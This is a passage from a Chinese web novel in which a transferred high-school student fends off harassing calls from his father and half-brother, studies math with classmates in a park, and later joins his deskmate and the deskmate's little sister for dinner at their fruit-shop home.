【不学习浑身难受:下午两点吧,地方,就在学校前面的公园里, 上次我去的时候,看还专门添设了桌椅。】 【不识好人丁:公园?你自己念来听听,这像是能学习的地方吗?】 【不学习浑身难受:只要有心,哪里都能学习。】 【不学习浑身难受:小丁, 这是心态问题,不是场地问题。而且那边有老头下象棋, 桌椅齐全得很, 湖光山色,旷远禅意,放心来就是。】 …… 【慢即是快(为人民服务版):真他妈会挑位置,考虑考虑人初来乍到吧。】 【慢即是快(为人民服务版):@许桑,学校那边路是不通的,主要是怕学生跳了……你家住哪?看看群里谁住的近顺便同行带个路, 安全第一,学习第二。】 【慢即是快(为人民服务版):我是真怕周一上课,老徐给我逮办公室去,问:“搞什么名堂,我那么大个学生都能搞丢……万一出事了我怎么跟人家长交代!”糟心啊。】 看完这条消息时,许桑刚想发个定位,又一条消息跳了出来。 【易承:我来负责他。】 【慢即是快(为人民服务版):好哇!!】 【慢即是快(为人民服务版):易哥不愧是易哥,会挑担子, 灰常好!】 【慢即是快(为人民服务版):其他人出门前记得把出行方式和家长报备情况都发给我,去学习应该不会不同意……然后再私下跟许桑互存个电话号码,balabala…明白吗?】 许桑难得发了条消息:“明白。” 同时心道: 这年头, 当个班长都能当出“职业病”来…… 基本信息通好,许桑静下心来把剩下小半张卷子刷完,起身伸了个懒腰,往厨房走去。 早上洗碗时,特地留意了下菜架上的食材,有两样也就够了。 煮好小份米饭,许桑捞了两个中等个头的土豆,配了些切成条的胡萝卜、青椒,淘洗后晾着等饭好。 这期间,他悠到沙发上,刚摁开电视,手机就跳进个电话。 没看来电人,习惯性就接了。 电视里自动跳到一频道,正在播放各种祖国大好河山的广告,深沉的语调、明亮的颜色,对身心相当友好。 电话那头一秒都没停歇,声音震出来: “许桑,你最近怎么样啊?是不是肠子都悔青了,啊?” 若非手捞遥控器时脱离了手机,许桑在那人第一个气声发出时就能掐断了电话。 没有一丝一毫的犹豫,他手指一滑屏幕,点了“关机”。 不知是不是去过易承家、还见过秋秋的缘故,他随手乱按两个数字都能按到少儿频道,看到被两头熊追着跑到“变形”的光头强,他轻笑了声。 何以解忧,唯有“幼稚”。 背靠柔软,许桑耐着性子将这集看完,才起身走进厨房,热锅倒油。 三下五除二对付完午饭,许桑这才把随手卡进沙发缝里的手机开了机。 乌烟瘴气散尽,他点开新的消息。 【易承:想吃什么水果?】 他不免一笑,心情颇好地回复:“除了酸的,都行。” 那头消息回得很快,不知是不是刚好就在饭点、那人正巧也捧着手机。 【易承:行,都给你带一些。】 许桑顺手将刚才那人的号码拖进黑名单,转眼看到易承的消息,目光稍沉,没多加考量,他给对方转了100,权当买了一份。 过了两分钟,那头才收了转账,而后消息跳出来: 【易承:这价钱……】 【易承:还要附带什么上门服.务吗?】 “……”许桑盯着这句玩笑意味溢出屏幕的话,默了两秒,正经回道:“不用。” 只是,还没点发送,顶端突然跳出个好友申请。 他眼神微厉,点开那个号,第一瞬间映入眼帘的是黑白色的头像,头像框里,是位气质贤淑的女子,短发垂耳,正露齿而笑;而其旁的昵称是一串乱码。 最下方好友验证的话是:“至于这么怕我吗?像个娘们似的,尤其像头像这个娘们。” 手指轻颤,许桑沉默地注视着这句话。 两分钟后,他点了“接受”。 那串乱码片刻都没浪费,一长串语音顿时侵入聊天界面: “你什么时候胆子这么小了?之前打我的时候不是眼睛都没眨一下吗?现在听个电话通过好友申请都不敢……许桑,知道我找你做什么吗……跟我道个歉,我会说服爸,让你转回来的!一个要求,你作业、试卷给我抄……成交吗?” 手机音量没调太高,语音却清晰入耳,像无形举了个扩音器杵在漏音口。 许桑目不转睛地看着那张头像图片,等这条语音停,他打字:“头像换了。” 乱码似乎愣了几秒,文字才出来:“你说换我就换,凭什么啊?” 许桑没犹豫,把人删了。 半分钟后,有短信跳出来,来自陌生号码: 【“十一个数字”:行行行,头像我换我换,那你是同意给我道歉了吗?我不用礼物,一句亲口道歉和一封道歉信就行,你什么时候给我,我什么时候去找爸。】 许桑冷眼扯了下嘴角,回复:“滚。” 瞬间没心情了,许桑捞起遥控器关了电视,回房间,拆了一套模拟试题。 随便抽了一张,他给卷子翻了个面,倒着就开刷。 “已知函数f(x)=……” 证明题总是要形成逻辑闭环的,而印证终始这类题,随着计算行列增加,思绪会不自觉陷入其间。 许桑写下“当m=1时,……”验证即将结束前,深切感受到呼吸渐渐放轻,方才被惹起的些许情绪消散成烟,只留下极富成就感的一句“得证。” “有病。”丢下笔,他骂了自己一句。 前面一道是计算量很大的圆锥曲线,许桑看着理思路时,手机里又跳进个电话。 长了脑子但抵不过惯性,他几乎出于本能就按了接听。 那头,声音敦厚如钟,就像寺庙里念经的老和尚音,听一遍只道“高人”“仙人”,多听几遍,会发现那声音比小、中学各种语文老师的还催眠。 “许桑,这都过完一周多了,怎么样,新环境适应得如何?” “不怎么样。”许桑冷声回道。 “吃了枪药啊,语气这么冲!”那头脾气掺进了语气里,“老子还没发气,你小子就开始摆架子!信不信把你再转远点,明天就让你跟牛羊一窝睡!” “……”许桑笔尖一划,才做好的辅助线歪得不像话,切线都切圆肚子里了,冷静抽过一旁草稿纸,他回道:“随你的便。” “老子服你了……对了,刚刚小降来电话,说他打电话你不接,他加你好友你不通过,好不容易通过你还骂他,还让他‘滚’,怎么回事儿?” 还没等他回答,那头匆忙补了一句,“别不承认,截图我一张张看完了!” “……呵。” 草稿纸上,新鲜的图出炉,许桑精心勾着切线,平淡:“就这么回事。” “皮痒痒了?是不是转学前我没打你一顿,啊?”那头猛地咳嗽了两声,继续吼道: “小降多乖个孩子啊,你个当哥哥的,就不能好好待弟弟吗?又是打又是骂,他是我宝贝儿子,我还没动过手,你个当哥的,就先把人当皮球当泄气桶了……你说你妈性子那么软一个人,怎么生出你这么个硬脾气?” 切线方程列好,刚还明晰的下一步,此刻,幻化成脑海白茫茫一片。 签字笔斜着倒下,翻了个个儿掉在地上,砸出沉闷声响。 许桑偏头,电话线两端,连着两阵脆生生的沉默。 漫长的停顿后,那端叹了口气,“算了,又说了些不该说的。反正,你什么时候反省好了,什么时候打电话给我。都高三了,好好准备高考,别让你……你妈失望。” 问责戛然而止,通话界面谢幕而退,熄成黑色.界面。 许桑指尖轻颤,就着这姿势看题时,题干上短短三行,却交错成朦朦胧胧的大团墨迹。 缓了一会儿,他弯身捡起地上的笔,继续算题。 平时几分钟就能算出的题,这儿费了近一刻钟。 许桑倒着做完概率题,便扬手跳到填空题,算完两道后,才放下笔。 翻到答案册,统共做了五道题,错了两道……他敛眉,红笔勾出两道错处,蓦地一顿。 果然有病,和之前赵鸿途犯了一样的错。 手机上,目前风平浪静,只要不点开残余的聊天、通话记录,一切都该是干干净净的。 许桑空手走出房间,给自己调和了杯温水,立在窗台处,望着楼外阳光熹微。 温水入口入胃,还算舒服。 他目光逐渐失焦,视野里平淡的天空,渐渐幻出个女人的面目——和今早看的黑白头像一般模样,此刻正展颜,笑容灿烂,如绽光芒。 转过身来,他背靠扶杆,仰头将剩下的半杯水喝完。 毛病,又矫情了… 许桑刚将水杯放到茶几上,门就被叩了三声。 他犹豫了一秒:不至于刘姨就请一顿饭的假吧? 走过去开了门,看清来人时,他握着门把的手都忘了收回。 易承视线往下溜达了一波,才看向他,挑眉,“这么不欢迎啊?” “……没有。”许桑收回手,给人让路时,瞥见他左手提着的果篮,脑海中回想起那句忘回了的消息。 易承稍显熟练地换了鞋,落座沙发前,将另一手提着的袋子递给他,说道:“你校服。” “嗯?”许桑接过。 “我洗了四五遍,够意思吧?”易承笑着回答。 展衣服时,抖出一阵淡香,一种被洗衣粉或是洗衣液腌入味的感觉,许桑微顿,“嗯,谢了。” 一屁股坐到沙发上,易承看了眼时间,“路程不算近,我们十分钟后出发?” “好。”许桑给他倒了杯热水。 “谢谢。”易承接过,喝了口,偏头,问道:“这周有什么作业吗?” “……”许桑坐下,上下打量他,“空手去自习?” “放学走太急,忘带作业了。”易承说得自然而然,面上无一丝愧色,“要不你的给我,我去复印一份儿?” “倒也不用,送给你做。”许桑慷慨。 “……”易承笑容微裂,“行。” 许桑喝了半口水,眼角溢出些笑意,尤其听到他有些“吃瘪”的回答,心头郁积的那团不快,似乎都散了个七七八八。 第24章 第24章 【“没事,看看你。”】…… “一点五十九分五十七秒, 牛逼啊,你俩还真准时!”吕丁故意抬起他前些天新淘到的表,乐呵着竖起大拇指。 那块黑漆漆的手表都快抬到人鼻梁骨了…… 易承善解人意, 热情回道:“表还挺帅。” “易哥!”吕丁当即收了手,大跨步往易承身上冲,“还是你懂我!” “……”易承侧身,“躲”到许桑身后, “爬远点儿。” 许桑身子微滞,想想还是放任了他的行为。 “行吧行吧。”吕丁收回手, 精心而细致地掸了掸手表上绝对不存在的灰尘, 大气地坐回长石凳上,说:“你们先坐。慢慢去买水了,鸿途还在书店买卷子,可能晚两分钟到。” “嗯。” 石桌东南西北方向各设一长凳,其中三角上,都大开着铺张了卷子或是资料书, 许桑只得挑那方唯一的“净土”,而易承别无选择也跟着坐到他旁边。 “欸……?”吕丁这才注意到位置和人数不匹配这个问题,不过好在这儿的凳子,天然为唠嗑而备,还算长一条,挤挤能坐下两人,“哦,没事儿了。” 陈慢抱着五瓶矿泉水来时, 身后的赵鸿途则提了一口袋的卷子。 “来了?”陈慢分完水,坐了下来,“天然矿泉水, 一人一瓶,够义气吧!” “……”没心情回他的话,易承自然地接过两瓶,顺手将其中一瓶转交给许桑。 许桑称了声谢。 “既然人齐了,那我们的周末自习就开始。”赵鸿途把卷子平铺在桌面,推了推眼镜,睿智的眼光扫过剩下四人,义正言辞:“做周末作业也行,刷卷子也行。一个小时后,把做完的成果摆出来,我亲自检查,质量太差或者走神做的太少的,今晚请客啊!” “……鸿途,你当初幸好没去当学习委员。”吕丁忍不住抱怨。 陈慢深有同感,“我敢打赌,学习委员都没你这么爱学习。” “甭废话。”赵鸿途起范儿,“计时开始了,别浪费时间,做题做题!” 许桑把几张附中作业转交给易承,在易承的深情注视下,又无奈递了只笔给他。 易承无声勾唇,用口型说道:“谢了。” “……”许桑收回目光,开始刷题。 这里算是个凉亭,若说暖亭也不为过,反正冷不冷暖不暖的,每人体感有异。亭台地处河流之旁,面朝连当地人都不太知晓的某公园。 今日阳光浅淡,水面平静,有微风拂面,吹得桌角没被压实的卷角轻轻颤动。 易承坐得随性,手肘抵着桌面,完整扫完整面卷子后,不知是哪门子心情不好,皱着眉鬼画符一样随题勾着“ABCDEFG”,勾完,他用笔撬动卷子,翻了个面儿,继续看。 不出半小时,他落笔。 有些闲,易承便单手托腮,看着身侧行坐端正如松的人,眼眸微眯。 该说不说,这张脸,不论晚上还是白天看,都不下惊艳。 总体清凌凌的,给人一种天然的疏离感;做题时目光永远是定向的,落笔次数少,但基本落下就是答案本身…… 草稿纸像个摆设,有时他都怀疑,这人是不是就只打了个点。 比隔壁三张脸还干净。 正看着,许桑忽地转了过来,眼神是凉的,就跟钻进袖口撩过皮肤的风般。 “……”被扫这一眼,针扎一样,易承忙乱而不自觉地咽了口口水,忍住挪开视线的冲动,稳形象般朝他轻挑眉梢。 许桑淡淡落笔,写了俩字后把草稿纸推给他。 易承低眸,草纸上落了两个字,一撇一捺还算舒展。不过,看得出写字时他心情不怎么样,起笔收尾带着股狠劲儿,锋芒尖锐——“有事?” 他轻顿,伸手在草纸上温和写道:“没事,看看你。” 许桑败下阵,主动别开眼:“……” 易承勾唇,掏出手机,无聊过了,就将“五虎上将”群里的文件翻开,看了几眼,神色凝重了些,这才认真做起来。 挺有意思的题,就是做不太出来。 “我靠靠靠靠!太难了,做不动啊。”吕丁握着笔,跟拿了根搅屎棍一样,满脸屎色,“这道圆锥曲线,我切线方程都算出来了,结果辛辛苦苦半天,它问我离心率范围……八十杆子都找不着嘛,我真是醉了,服了,吐了!” 陈慢跟他患难兄弟“隔海”望,伸手,用力跟他握了个上下颠簸手,苦着脸,“兄弟,你懂我!” “嗯……”赵鸿途耳朵边儿又烫红了,在两人的抱怨下,臣服:“唉,我也没算出来。” “那就平衡了。”吕丁刚想借此机会休息休息,结果偏头就见许桑化境一样“入定”了,一时心底涌上些羞耻之意,可又不想算,便问:“许桑,你做出来了吗?” “什么?”许桑最近重心在函数上,刷题也以这类为主,闻声,记忆有些生疏。 “就周末数学作业选择压轴题。”吕丁越说越小声。 似乎数学三十七分,跟“压轴题”这三字……格格不入。 赵鸿途一双眼睛亮着就望了过来,连带着陈慢也一副“求真好学”模样——脖子都扬出鸭嘴弧度了。 “等等。”许桑正想着借吕丁的卷子,身旁的人微微向他一倾,而后卷子落在他面前,上面第十二题还精心标了个大“五角星”。 他看了易承一眼,后者满眼笑意,没骨头一样托腮看他。 读完题,他抽过草稿纸,画完图,倒腾了一番……消完,许桑平静地勾出离心率,一笔划出c时,才发觉易承做时,上面标了个畸形的“G”: 拼装式儿的。 飘逸的“C”,加一笔歪七扭八还断层了的短竖线。 把一步步规矩写好的草纸转向推给三人后,许桑落笔,笔尖恰好遮住了那一条竖线。 “我靠,中国速度啊!”吕丁急不可耐地抽过草稿纸,硬着头皮发出惊叹。 赵鸿途虔诚:“好快啊!” 听着接连两声惊呼,陈慢只得“入乡随俗”,唤道:“wu呼!” “……”许桑默了声,向易承挪了些,压低声音,“难吗?” 两人坐着,两腿之间本就只隔条缝,这会“你凑我挪”的,距离不知道拉近了多少…… 一时辨不清是头发丝还是衣服或是身上的淡香,没完没了地绕缠着鼻尖,就跟那天为印证想法、特意装睡,待人倾身时闻到的味道一般无二。 易承沉沉看着他,“你说什么?” “题。”许桑看向他的眼神带着赤裸裸的探究。 心头某个想法,比吃了跳跳糖后的胸膛还要激越,起起伏伏蹦跶个不停。 挑眉,易承了然,一笑带过,“快难死我了。” “……”许桑眼神平淡,见试卷下方解答题第一道留了大片空白,执笔下移,“那我教你。” “为什么?”易承伸手按住他笔端,没收住劲儿,连着贴到他的手。 许桑看了眼手,肌肤相贴处泛出些热麻麻的痒意。 想来自己也觉莫名其妙,他刚想收回手,对面的三人却都匆匆站到了他身后,排首的赵鸿途连声,“许哥许哥,你讲讲思路,我们一起听听呗。” 易承“啧”了一声,收手,转头说笑,“这声哥倒叫得爽利。” “没办法,易哥,咱得承认,数学面前,咱都得叫许桑一声哥!”吕丁语重心长。 陈慢一旁起哄:“双手双脚赞成!” 易承幅度很轻地点了两下头,神情慵懒,“行,听许哥的。” 耳畔轻轻一声,许桑顿了两秒,开口,“求离心率……” 两分钟后,赵鸿途激动得要跪下了,“这思路,太直了,直接串到底,学到了,真他妈牛逼……” “呃。”吕丁和陈慢互看一眼,几乎是异口同声,“懂是懂了,就不知道下次会不会。” “同类型题做个笔记、练几道强化记忆。”许桑把卷子浏览遍,正巧这是张专题为主的卷子,连着勾了四道,说,“就差不多了。” “行,正好趁热打铁。”吕丁在手背上记好题号,又一屁股坐回了长凳上。 像无形中“头悬梁、锥刺股”了,他坐得异常笔直,斗志昂扬地一通算。 易承扭头看了眼陈慢,“愣着干嘛?吕丁那榆木脑袋都会意了。” “……”陈慢连忙坐回去,撸起袖子,原地发呆两秒后,鼻子呼出一口热气,“我开做了!” 这桌气氛忽然就火热起来,笔纸疯狂摩擦,带出一阵“题风”,旋绕在四方内,脑门都给热着了。 易承略显诧异,歪头看许桑,小声,“你行啊。” “嗯。”语气依旧平淡,许桑问他,“你呢?” “我?” “练一道?” 顿时就懂了……易承拿笔,看完他勾的题,“解”字写完半边,许桑就抽了那张,另递了一张过来,淡声:“做这道。” “还搞区别对待啊。”易承笑道,不过看到题就笑不出来了。 一眼望过去,圆椭圆双曲线都在……跟锅大杂烩一样,几个字母一列,加上鬼迷日眼的文字,脑子不转都知道计算量有多大。 他稍显迟钝地看许桑,嘟囔:“你就这么看得起我?” 许桑不动声色地勾唇,“嗯。” 第25章 第25章 【‘以前我只有盔甲,自从有…… 题自然是没算出来的, 易承耐心将题干读完,顺着做到最后一小问时,落笔, 没再继续算下去。 看着题,指尖有一搭没一搭点着凳子。 “我靠,许哥,这题答案多少?”吕丁像个螃蟹, 举着钳子乱晃悠,“15题, 我好像算出了个长得还算正常的答案。” “【1/2, 1)。” “欸欸欸!”吕丁激动得上下甩笔,“除了开闭区间错了,数字都是对的!!” “……”那不还是零光蛋! 陈慢咬着笔头,闻声惊呼,“你妈的,老子开始随便一猜, 就猜的这个!结果认认真真算出来个根号三……无语了。” “哈哈哈……”吕丁捶桌,狂笑。 “都别吵。”赵鸿途把四题全算完,标好题号对应答案后,才松了口气,像个幼儿园要糖的孩子,“许哥,你快看看我的。” “嗯。”许桑瞥了眼,凭记忆看完, 道:“没错。” “嘿嘿!”赵鸿途转头朝两人来回撅嘴。 “切~”吕丁不服埋头就是干,一旁陈慢也斗志昂扬地开始猜答案。 许桑方才继承易承糟蹋了大半的卷子,做了些才发觉自己可能主观低估了这套专题卷。 部分题老成而经典, 同时还不乏创意新颖的。 很适合闲了或者考试前练练手感。 想着,许桑看了眼易承的卷面,依旧是清简风,除了答案,鲜少留下过程。 察觉到身边人的视线,易承把卷子推到中间,一副无奈的表情:“我说了,你太看得起我了。” 两三眼就能浏览完他写的全部,许桑视线从下往上,落在他身上,静静地看着他。 “嘶…”被看得有些不自在,易承笑说:“我蠢到你了?这副表情。” 许桑应道:“嗯。” “……” 被他的“心直口快”打击了两秒,余光见另外三人正埋头苦干,易承凑近了些,轻声,“那你教教我。” “自己看。”许桑冷淡地把临时写好的简略过程拍过去。 过程只有最后一小问,就像默认他前面一小问两小小问是对的一样……着笔少,列大纲似的,只在极关键处落墨。 若是晃一眼,说不定有人会评点一句,“靠,还不如‘略’呢。” 易承一愣,反应过来后回道:“也行。” 自主自习,在赵鸿途疯魔似的毅力与热情引导之下,断断续续维持了5个小时。 从天明坐到天黑…… 黑灯瞎火里,陈慢扯着嗓子背单词——“……halt,halt…欸,这破单词什么意思来着?” 吕丁敲了敲笔,“使停止,定住。” “真的吗?”陈慢怀疑至深,借手机屏幕光亮看清单词本上的汉字,长呼一口气,“不是,可以啊,小丁。” “那是。”吕丁翘飞了眉毛,“不然140怎么考出来呢。” “……” 被秀了一脸,围坐一周的人或多或少都沉默了两秒。 陈慢倒还是真心发问,“为什么?你这学渣学霸混血血统啊……难道你出过国,还是你修习了什么秘术?” “……什么鬼。”吕丁真诚,“你把英语翻译成中文,不就小学初中的文本水平,有什么难的,当然,听力除外外外!” “那你的意思是,记背单词?”陈慢继续问。 “算是吧,而且单词挺好记的啊,很快的,不过,拼写什么的除外。”吕丁难得有机会露一手,说话尾调都是飞起来的。 “呃……演示一下,就刚那个‘耗儿特’什么的,我看看有多快!” “你妈,那是‘祸特’。”吕丁纠正。 陈慢皱眉:“这不差不多吗?” “……算了。”吕丁想想,身子往桌子中央凑:“就谐音梗呗,你不是玩儿挺溜的嘛。‘祸特’是不是,就那个hal,发音像‘祸’,代入车祸,可以吧。后面那个t,是个动词后缀,但不知道没关系,不管!” 作法一样,吕丁两手哗啦啦地伸展,“想象一下,车祸后会怎样,他妈绝对堵车啊!所以,车祸后,其他车就要被堵住……不就是使停止使定住,两三秒就记住了。” “我靠,有点东西啊……” 吕丁伸了个大懒腰,“那是自然。” 许桑微挑眉,称道:“可以。” 果然脑洞奇葩的人,总有些奇葩的造诣。虽然“destroy”能写成“destory”。 “怎么着,直接回家吗?”陈慢激动完,发现没带台灯,支个手机做题太费眼睛了,便主动起来主持大局,“还是先去吃个饭?” 赵鸿途摘下眼镜,揉搓眼睛,“吃饭。” “还是先吃个饭吧。”吕丁摸摸瘪下去的肚子,偏头看了眼许桑,双手捧着脸,满脸花痴地说道:“难怪许哥身材这么好……” 许桑疑惑:“嗯?” “做题做进去了,真就是一坐坐一下午。费元气费精力,饿得要死。”吕丁解释。 许桑又一次能被他的脑洞无语到:“……” “那许哥易哥,你俩要不要也一起?”陈慢龙卷风速度收拾完桌面,还不忘问道。 “我就不去了。”易承转了圈笔,“家里还有事。” 没多细问,陈慢回道:“那可惜了,许哥呢?” “我也不去了。”许桑回道。 “行吧,行吧。那你俩回去注意安全。”陈慢背上书包,“等会儿我们发点图片在群里,保证身临其境,香死你们!” “……”许桑和易承对视一眼,没忍住笑了。 等三人走后,许桑依旧坐在位置上,接收梁意杉新发来的题。 易承空手来自然空手回去,临走前,问说:“同桌,你能自己回去吗?” 许桑拧眉:“废话。” 丝毫没被他“摔炮”似的语气影响到……易承看着他的眼睛,晃了晃手机,笑着:“那好,记得到家给我发个消息,不然陈慢又该搬出老徐了。” 许桑微怔,不知是话里言间哪个字眼戳动了情绪,但面上无波,“好。” “嗯。”易承长腿一迈,跑进了无边夜色里。 手机震了一声。 凝着看了几秒他的背影,许桑收回视线,看着聊天框里跳出来有一会儿了的信息。 【梁意杉:许哥,方便通话吗?】 还没等他回复,电话就跳了出来,显示来电人“梁意杉”。 按了接通,许桑起身,单手撑着亭外栏杆,望着远处暗蓝色沉郁的河流。 “许哥,哎哟我的妈,终于放假了!” 许桑眉眼带笑,晚风拂面,带着微寒与清爽,涤荡净端坐一下午淤积的昏沉,“不是该放月假?” “本来该的,但临时加了个联考,又刚好卡在周天,所以学校临时改了,说等下周再放月假……”梁意杉应是在吃饭,中途穿插了句“今晚吃红烧肉啊!”,激动完,他才往正事上带,“许哥,跟你讲个好笑的事儿。” 许桑轻椅亭柱,“说。” “还记得那个许降吗?就那个天天把你‘哥哥哥’叫的那个。这周的周测,滑出前十不说,直接滑到了倒二!”梁意杉说到这儿,高兴得像个二傻子: “你真是错过了一出绝世好戏,当时成绩公布完,许降就开始各种演,说什么考语文头晕,考英语选择涂错位了,考数学拉肚子,考理综想吐……妈的跟林黛玉一样,关键演得又烂。你是不知道,班里的人全都笑翻了,跟返祖一样!现在他的表演还挂在墙上呢,有人说该拿到某戏剧学院去做反面教材,哈哈……” 许桑顿时便明白过来,为何今日无端多了这么些“骚扰”。 “哦,还有件事。之前不是有个女生喜欢你,天天来追。你跟她说过一句话后就再没正眼瞧过那位,记得吧?听说许降这两天砸了几万块买包买手机把人给追到了。” 梁意杉借间隙咬了一大口红烧肉,满足得“嗯嗯”叫好,“这不纯纯笑话嘛,他还发朋友圈炫耀,文案小学生死了。” 他特意换了个做作的嗓音,“‘以前我只有盔甲,自从有了你,就有了软肋’。哎妈,给我笑得嘞!” …… 夜风轻柔,白日河上飘着的船早飘远了。街巷两边的建筑里,错落地有了灯火。 虽则总体少得可怜,但貌似,能称得上“有烟火人家”。 交络完最近值得提一嘴的事儿,许桑挂了电话。 手机内的声响切断后,周边是静的,不止这夜。 耳边又回响起电话另一端结尾时的热闹——“多吃点,妈今天专门炖了两锅肉!” 偏了偏头,他转身收拾东西。 几张大开的试卷上,充盈着素常基本不可能出现的笔记过程,除了他的,还有易承留下的,怎么看,都怎么乱糟糟的一团。 单肩挎上书包,许桑眼神有些散乱,望着河上凌乱的夜色,心头发涩。 说不上来什么感觉,只知道,当看到某物时,才有那番意识——自己缺了某样东西。 包里物件轻巧,背着却莫名沉重。 许桑踢了一脚路边的小石子,没踢动,皱眉,轻声骂:“神经。” 不知不觉,后知后觉,许桑抬头之时,街巷间的建筑又雷同了。 他顿下步子:就该出私资立个导向牌! 瞎转悠两步,他看到熟悉的店面——“一个水果店。” “一个水果店”店面位置还行,位于交汇处,一般来说,人流量是大的。 这时漆黑成了天地主色,比起其他闭门的店,这间垂下的灯,温暖得像火源。 “秋秋,去把耗子牵出来遛遛。”易承把浸了水的湿布搭在水果栏上,朝屋内喊道。 秋秋扬起嗓子,欢喜回道:“好!” 很温馨,像个家……许桑直至走到门口,都还没完全清醒——或许久泡情绪之池里,尚头昏脑胀。 易承率先看到人,手上动作一停,笑问:“想买什么?” 对上他眼的那刻,蒙于眼前那层迷蒙散了个干净,许桑轻滞,没答。 易承也不急,把苹果盖好后,估摸着时间和他这身装束,打趣:“找不到家了?” 许桑在心里接话:“找得到。” 可,莫名的,到口却是:“嗯。” 易承轻挑眉,“啧。站这儿等我,或者,帮我遛遛猫?” 秋秋攥着一圈绳子走出来,那只黑炭一样的猫像个炸弹头,出来后就一顿横冲直撞,钻进货架的缝隙间,绳子都给绕成个“死结”。 秋秋人还矮,整个人也跟着钻进去,刨蚯蚓一样刨着尚有半臂之距的猫。 许桑:“……” “哥哥!”灰头土脸出来的秋秋,看到许桑时眼睛一亮。 许桑朝她轻笑,“我来?” “好!”秋秋把缠手腕上的绳一圈圈解下来,递给许桑,委屈说:“耗子一点也不乖,我每次都追不到。它跑太快了,比我哥跑得还快!” 易承听到尾句,不自在了:“秋秋,有这么宣传你哥的吗?” 闻言,许桑勾唇,勾过牵绳后,弯身去捞猫。 秋秋眨巴眨巴两下眼,“本来就是嘛。” “得,得。” 易承应下,走到一旁收起挂包轻点钱,单独数出整两百的零钱后,就列账。 “哇!哥哥好厉害。”秋秋看着窝在脚边扑腾爪子的猫,伸手扒拉了两把,直乐呵,“耗子好乖。” 许桑蹲着,伸手轻抚猫毛,掌心擦过软塌塌的触感,加上暖暖的体感温度,瞬间有种被柔化了的错觉,他眉眼轻舒,问:“耗子?” “我哥取的名字,难听死了,是不是?”秋秋吐了吐舌头。 “是。”许桑深表赞同。 “哪难听了。”易承忙完,绕了过来蹲下,手轻搭上许桑的肩,耳语:“同桌,抬头。” “嗯?”许桑循着声源望去,左肩向后猝不及防撞上人的胸膛。 距离拉近的片刻,易承摁下了拍摄键。 身后多了实在,许桑不太习惯,“怎么了?” “陈慢问我们到家没。”易承顺手把照片发群里,低头看了眼眯着眼睛怪享受的猫,把手机递给他,“看看,香着你没?” 就着这姿势,许桑轻顿,接过他的手机。 “五虎上将”里,陈慢是主力,赵鸿途是副手,吕丁是气氛组……杂七杂八甩了十几张图片,各种烤串炸串,还对应有菜名、口感评鉴。 点开语音,吕丁在输出:“嗯~香的嘞!新鲜出炉的烤牛肉串,外焦里嫩,香辣可口……”后半截全是他的“吧唧”声。 许桑轻笑。 秋秋在一旁逗着猫,翻来覆去挑猫下巴,听到吕丁的语音脑袋也跟着偏了,“哥!我饿了!” “想吃什么?”易承问。 秋秋舔舔嘴周:“什么都想吃。” “行,那你先把耗子带进去拴好。”易承从许桑手里抽过绳子递给秋秋,偏头问身旁的人,“同桌,要一起吗?” 许桑看向他,左肩处微微灼热,“可以吗?” “当然。”易承低头看了眼群里新跳出来的消息。 【不识好人丁:欸,易哥,你俩在一起啊?】 【慢即是快(为人民服务版):你们注意安全啊!还有,许哥今天讲题辛苦了,易哥,你替我们好好照顾许哥!】 【不学习浑身难受:赞同,许哥辛苦了!】 易承轻笑,单手不好打字,于是点了语音,“行,保证把人‘伺候’好。” 第26章 第26章 【“乖,别逞能。”】…… 检查了遍猫绳, 易承舒服得伸了个懒腰,由内向外关了灯,拿上钥匙锁好门, 朝许桑抬了抬下巴,“走?” 许桑上前,“走。” 秋秋晃了晃头,摇着她草草束起的马尾, 走在最前面,两脚乱踩着被漆黑割得支离破碎的影子, 欢喜得不要不要的。 易承提着些果蔬, 语气有些疲累道:“秋秋,来帮你哥提点东西!” “不要。”秋秋一甩头发,拒绝得很有声,“没长手啊?” “……”易承轻笑一声,“算了,算了。” 许桑淡淡看他一眼, “给我吧。” 易承回望,眉眼里染着的笑没及时褪去,看人时总带着一股温柔,尽管那像层错觉,附着在稍显冰寒的神情表层,“不用,我可以。” “嗯。” 许桑应下,视线却未离他被塑料带子勒出痕有些发红的手心, 抿唇。 两秒后,他停了一步,从下主动提了那袋显然要重些的土豆等菜蔬, 玩笑:“乖,别逞能。” 他这一声,像夜色的化身,凉凉的……落在耳边,却叫人有些把持不住。 手上重量减半,易承“啧”了一声,目光擦过他眼,耳畔这声似回响了两遍,他有些语塞,几语几言只化成一声:“谢谢。” 许桑轻轻颔首。 “秋秋,开门。” “好。”脖子上挂了根红绳,红绳中心系着把钥匙,秋秋从心口捞出钥匙,两脚后跟齐齐往上踮,脸跟着手用力,乍一看皱巴巴的,好容易才开了门。 易承先一步拍开了灯,放下东西后连忙接过许桑手中的,笑说:“辛苦了。” 许桑“嗯”了声,关上门后,弯身换鞋。 屋内布置得很简单,和店面一样,给人一种干净和温馨的感觉,单是看一眼,就觉得舒服。 许桑坐在沙发上,余光瞥见易承系上黑色围裙后就进了厨房。 而隔了两分钟,秋秋抱着本书从屋内走了出来,攥握铅笔的手,另支了个小拇指勾坐垫,小家伙两个茶几高,慢吞吞挪到沙发前,一屁股坐在坐垫上,摊开书,回头:“哥哥,你看不看电视?” “现在吗?”许桑往旁边挪了些,给她留够空间。 “嗯。”秋秋把笔夹在数学练习题中,转了个向,圆嘟嘟的脸上,带着些狡黠,“有个台在播猪猪侠,还有超级飞侠,晚点还有熊出没……都超级好看。你看不看,我帮哥哥开电视!” “……” 这算盘珠子都崩出来了。 许桑轻声,“不用。” “啊……”眼里骤地暗了些,秋秋垂头,“好叭。” 屋内灯火还算通明,用来做作业,勉勉强强。 许桑随意点开一套题,打开备忘录做备用草稿纸后,便心无旁骛地算起来。 秋秋咬着笔帽,看着眼下一页密密麻麻的计算题,眉毛皱着,连着整张小脸都皱出不满来,时不时叹一句,“啊,好难。” “难吗?”易承临时出来一趟接电话,挂断时,途径秋秋看了眼,不解:“秋秋,你这小脑瓜,是不是水装多了,满的动不了啊?” 秋秋拿笔戳了戳腮帮子,叹气。 “真是拿你没办法……去上个厕所,顺便排排脑子里的水。”易承朝她笑着,“相信你哥,出来就通畅了,跟打通任督二脉一样。” “哥,这一听就不靠谱。” 话是这么说,但秋秋还是乐呵呵地起了身,把笔一撂,就朝卫生间冲去。 易承无奈地叹了口气,“这脑子,难道是二胎,智商打五折?” 闻声,许桑轻笑,“半斤八两。” 易承看过去,微顿,笑着捂胸口,“同桌,扎心了啊。” “……”许桑笑着转开视线。 刚好周末,进货食材足,易承想想干脆就做了火锅。 